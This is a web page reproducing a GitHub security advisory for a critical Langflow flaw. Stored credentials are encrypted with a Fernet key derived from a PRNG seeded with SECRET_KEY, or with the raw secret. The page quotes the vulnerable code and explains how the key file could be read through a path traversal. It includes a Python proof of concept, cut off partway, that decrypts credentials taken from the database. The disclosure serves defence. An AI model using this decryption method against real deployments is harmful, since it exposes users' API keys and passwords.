Skip to content
LangflowGHSA-jxw3-mjmx-3pqm

Langflow: Weak Fernet Key via random.seed()

Critical9.1CVE-2026-9205 · Published Oct 5, 2026

### Summary Langflow uses Python's `random` module (Mersenne Twister, a non-cryptographic PRNG) seeded with the `SECRET_KEY` to derive the Fernet encryption key for all stored user credentials (API keys, LLM provider secrets, database passwords). When the `SECRET_KEY` is shorter than 32 characters , a common scenario for self-hosted deployments using simple/memorable secrets , the derived encryption key is fully deterministic and reproducible by anyone who knows the seed value. An attacker who obtains the `SECRET_KEY` (e.g., via the MCP path traversal in this repo) can reconstruct the exact Fernet key offline and decrypt every credential stored in the database with no brute force required. Even when `SECRET_KEY` is 32+ characters (the "safe" branch), the raw key material is used directly as the Fernet key , meaning exfiltrating the `secret_key` file is sufficient to decrypt all credentials without any additional computation. **Severity:** Critical , CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (9.1) **CWE-338:** Weak PRNG | **CWE-321:** Hard-coded Cryptographic Key | **CWE-311:** Missing Encryption of Sensitive Data ### Details **Root cause: `src/backend/base/langflow/serv...

GitHub advisory

Affected versions

PackageAffectedFixed in
langflow
PyPI
< 1.10.11.10.1
Details and references

### Summary Langflow uses Python's `random` module (Mersenne Twister, a non-cryptographic PRNG) seeded with the `SECRET_KEY` to derive the Fernet encryption key for all stored user credentials (API keys, LLM provider secrets, database passwords). When the `SECRET_KEY` is shorter than 32 characters , a common scenario for self-hosted deployments using simple/memorable secrets , the derived encryption key is fully deterministic and reproducible by anyone who knows the seed value. An attacker who obtains the `SECRET_KEY` (e.g., via the MCP path traversal in this repo) can reconstruct the exact Fernet key offline and decrypt every credential stored in the database with no brute force required. Even when `SECRET_KEY` is 32+ characters (the "safe" branch), the raw key material is used directly as the Fernet key , meaning exfiltrating the `secret_key` file is sufficient to decrypt all credentials without any additional computation. **Severity:** Critical , CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (9.1) **CWE-338:** Weak PRNG | **CWE-321:** Hard-coded Cryptographic Key | **CWE-311:** Missing Encryption of Sensitive Data ### Details **Root cause: `src/backend/base/langflow/services/auth/service.py`, lines 651–663** ```python MINIMUM_KEY_LENGTH = 32 def _ensure_valid_key(self, raw_key: str) -> bytes: if len(raw_key) < MINIMUM_KEY_LENGTH: random.seed(raw_key) # Non-cryptographic PRNG seeded with the secret key = bytes(random.getrandbits(8) for _ in range(32)) # Fully deterministic output key = base64.urlsafe_b64encode(key) else: key = self._add_padding(raw_key).encode() # Raw secret IS the Fernet key return key def _get_fernet(self) -> Fernet: secret_key = self.settings.auth_settings.SECRET_KEY.get_secret_value() valid_key = self._ensure_valid_key(secret_key) return Fernet(valid_key) ``` The identical logic is duplicated in `src/backend/base/langflow/services/auth/utils.py`, lines 292–318 (called by `DatabaseVariableService.create_variable` and `update_variable`). **What is encrypted under this key:** All variables stored with `type = "Credential"` , this is the default for OpenAI API keys, Anthropic API keys, and any secret stored via the Variables UI or API: ```python # services/variable/service.py encrypted_value = auth_utils.encrypt_api_key(value) if type_ == CREDENTIAL_TYPE else value ``` **Why this is critical in combination with the [MCP path traversal](https://github.com/langflow-ai/langflow/security/advisories/GHSA-95rw-c7w3-xh7f):** The `secret_key` file is stored at `/app/data/.cache/langflow/secret_key` , readable via the MCP path traversal vulnerability. Once exfiltrated: - If `len(secret_key) < 32`: run `random.seed(secret_key)` → derive identical key → decrypt all credentials instantly - If `len(secret_key) >= 32`: pad the key directly → decrypt all credentials instantly No brute force needed in either case once the file is read. ### PoC ```python #!/usr/bin/env python3 # Requires: pip install cryptography import random import base64 from cryptography.fernet import Fernet # --- Scenario A: SHORT secret key (< 32 chars) --- triggers vulnerable PRNG branch def decrypt_short_key(secret_key: str, ciphertext: str) -> str: random.seed(secret_key) key_bytes = bytes(random.getrandbits(8) for _ in range(32)) fernet_key = base64.urlsafe_b64encode(key_bytes) return Fernet(fernet_key).decrypt(ciphertext.encode()).decode() # --- Scenario B: LONG secret key (>= 32 chars) --- key exfiltration scenario def decrypt_long_key(secret_key: str, ciphertext: str) -> str: padding_needed = 4 - len(secret_key) % 4 padded = secret_key + "=" * padding_needed return Fernet(padded.encode()).decrypt(ciphertext.encode()).decode() # Values obtained from /app/data/.cache/langflow/secret_key (exfiltrated) # and from SELECT value FROM variable WHERE type='Credential' in langflow.db SECRET_KEY = "DJMcA

CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Severity from
GitHub (reviewed advisory)
Weakness
CWE-228
Also known as
CVE-2026-9205

More Langflow advisories

All Langflow

Critical advisories by email

Wednesdays: the week’s critical and high advisories in the AI and data stack, with the fixed versions. Only in weeks that have some.

Double opt-in. Unsubscribe any time.